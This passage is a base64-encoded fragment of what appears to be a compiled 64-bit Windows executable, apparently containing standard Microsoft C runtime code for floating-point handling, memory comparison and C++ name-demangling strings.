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AAAAA8EsBQAEAAAAHAAAAAAAAAPhLAUABAAAAAQAAAAAAAAD8SwFAAQAAAAIAAAAAAAAAAEwBQAEAAAACAAAAAAAAAARMAUABAAAAAQAAAAAAAAAITAFAAQAAAAIAAAAAAAAADEwBQAEAAAACAAAAAAAAABBMAUABAAAAAgAAAAAAAAAYTAFAAQAAAAgAAAAAAAAAJEwBQAEAAAACAAAAAAAAAChMAUABAAAAAQAAAAAAAAAsTAFAAQAAAAIAAAAAAAAAMEwBQAEAAAACAAAAAAAAADRMAUABAAAAAQAAAAAAAAA4TAFAAQAAAAEAAAAAAAAAPEwBQAEAAAABAAAAAAAAAEBMAUABAAAAAwAAAAAAAABETAFAAQAAAAEAAAAAAAAASEwBQAEAAAABAAAAAAAAAExMAUABAAAAAQAAAAAAAABQTAFAAQAAAAIAAAAAAAAAVEwBQAEAAAABAAAAAAAAAFhMAUABAAAAAgAAAAAAAABcTAFAAQAAAAEAAAAAAAAAYEwBQAEAAAACAAAAAAAAAGRMAUABAAAAAQAAAAAAAABoTAFAAQAAAAEAAAAAAAAAbEwBQAEAAAABAAAAAAAAAHBMAUABAAAAAgAAAAAAAAB0TAFAAQAAAAIAAAAAAAAAeEwBQAEAAAACAAAAAAAAAHxMAUABAAAAAgAAAAAAAACATAFAAQAAAAIAAAAAAAAAhEwBQAEAAAACAAAAAAAAAIhMAUABAAAAAgAAAAAAAACMTAFAAQAAAAMAAAAAAAAAkEwBQAEAAAADAAAAAAAAAJRMAUABAAAAAgAAAAAAAACYTAFAAQAAAAIAAAAAAAAAnEwBQAEAAAACAAAAAAAAAKBMAUABAAAACQAAAAAAAACwTAFAAQAAAAkAAAAAAAAAwEwBQAEAAAAHAAAAAAAAAMhMAUABAAAACAAAAAAAAADYTAFAAQAAABQAAAAAAAAA8EwBQAEAAAAIAAAAAAAAAABNAUABAAAAEgAAAAAAAAAYTQFAAQAAABwAAAAAAAAAOE0BQAEAAAAdAAAAAAAAAFhNAUABAAAAHAAAAAAAAAB4TQFAAQAAAB0AAAAAAAAAmE0BQAEAAAAcAAAAAAAAALhNAUABAAAAIwAAAAAAAADgTQFAAQAAABoAAAAAAAAAAE4BQAEAAAAgAAAAAAAAAChOAUABAAAAHwAAAAAAAABITgFAAQAAACYAAAAAAAAAcE4BQAEAAAAaAAAAAAAAAJBOAUABAAAADwAAAAAAAACgTgFAAQAAAAMAAAAAAAAApE4BQAEAAAAFAAAAAAAAALBOAUABAAAADwAAAAAAAADATgFAAQAAACMAAAAAAAAA5E4BQAEAAAAGAAAAAAAAAPBOAUABAAAACQAAAAAAAAAATwFAAQAAAA4AAAAAAAAAEE8BQAEAAAAaAAAAAAAAADBPAUABAAAAHAAAAAAAAABQTwFAAQAAACUAAAAAAAAAeE8BQAEAAAAkAAAAAAAAAKBPAUABAAAAJQAAAAAAAADITwFAAQAAACsAAAAAAAAA+E8BQAEAAAAaAAAAAAAAABhQAUABAAAAIAAAAAAAAABAUAFAAQAAACIAAAAAAAAAaFABQAEAAAAoAAAAAAAAAJhQAUABAAAAKgAAAAAAAADIUAFAAQAAABsAAAAAAAAA6FABQAEAAAAMAAAAAAAAAPhQAUABAAAAEQAAAAAAAAAQUQFAAQAAAAsAAAAAAAAA4ksBQAEAAAAAAAAAAAAAACBRAUABAAAAEQAAAAAAAAA4UQFAAQAAABsAAAAAAAAAWFEBQAEAAAASAAAAAAAAAHBRAUABAAAAHAAAAAAAAACQUQFAAQAAABkAAAAAAAAA4ksBQAEAAAAAAAAAAAAAAChMAUABAAAAAQAAAAAAAAA8TAFAAQAAAAEAAAAAAAAAcEwBQAEAAAACAAAAAAAAAGhMAUABAAAAAQAAAAAAAABITAFAAQAAAAEAAAAAAAAA8EwBQAEAAAAIAAAAAAAAALBRAUABAAAAFQAAAAAAAABfX2Jhc2VkKAAAAAAAAAAAX19jZGVjbABfX3Bhc2NhbAAAAAAAAAAAX19zdGRjYWxsAAAAAAAAAF9fdGhpc2NhbGwAAAAAAABfX2Zhc3RjYWxsAAAAAAAAX192ZWN0b3JjYWxsAAAAAF9fY2xyY2FsbAAAAF9fZWFiaQAAAAAAAF9fc3dpZnRfMQAAAAAAAABfX3N3aWZ0XzIAAAAAAAAAX19zd2lmdF8zAAAAAAAAAF9fcHRyNjQAX19yZXN0cmljdAAAAAAAAF9fdW5hbGlnbmVkAAAAAAByZXN0cmljdCgAAAAgbmV3AAAAAAAAAAAgZGVsZXRlAD0AAAA+PgAAPDwAACEAAAA9PQAAIT0AAFtdAAAAAAAAb3BlcmF0b3IAAAAALT4AACoAAAArKwAALS0AAC0AAAArAAAAJgAAAC0+KgAvAAAAJQAAADwAAAA8PQAAPgAAAD49AAAsAAAAKCkAAH4AAABeAAAAfAAAACYmAAB8fAAAKj0AACs9AAAtPQAALz0AACU9AAA+Pj0APDw9ACY9AAB8PQAAXj0AAGB2ZnRhYmxlJwAAAAAAAABgdmJ0YWJsZScAAAAAAAAAYHZjYWxsJwBgdHlwZW9mJwAAAAAAAAAAYGxvY2FsIHN0YXRpYyBndWFyZCcAAAAAYHN0cmluZycAAAAAAAAAAGB2YmFzZSBkZXN0cnVjdG9yJwAAAAAAAGB2ZWN0b3IgZGVsZXRpbmcgZGVzdHJ1Y3RvcicAAAAAYGRlZmF1bHQgY29uc3RydWN0b3IgY2xvc3VyZScAAABgc2NhbGFyIGRlbGV0aW5nIGRlc3RydWN0b3InAAAAAGB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgdmVjdG9yIHZiYXNlIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAAAAYHZpcnR1YWwgZGlzcGxhY2VtZW50IG1hcCcAAAAAAABgZWggdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAAAAAAAAYGVoIHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwBgZWggdmVjdG9yIHZiYXNlIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAYGNvcHkgY29uc3RydWN0b3IgY2xvc3VyZScAAAAAAABgdWR0IHJldHVybmluZycAYEVIAGBSVFRJAAAAAAAAAGBsb2NhbCB2ZnRhYmxlJwBgbG9jYWwgdmZ0YWJsZSBjb25zdHJ1Y3RvciBjbG9zdXJlJwAgbmV3W10AAAAAAAAgZGVsZXRlW10AAAAAAAAAYG9tbmkgY2FsbHNpZycAAGBwbGFjZW1lbnQgZGVsZXRlIGNsb3N1cmUnAAAAAAAAYHBsYWNlbWVudCBkZWxldGVbXSBjbG9zdXJlJwAAAABgbWFuYWdlZCB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYG1hbmFnZWQgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGBlaCB2ZWN0b3IgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgZWggdmVjdG9yIHZiYXNlIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAABgZHlu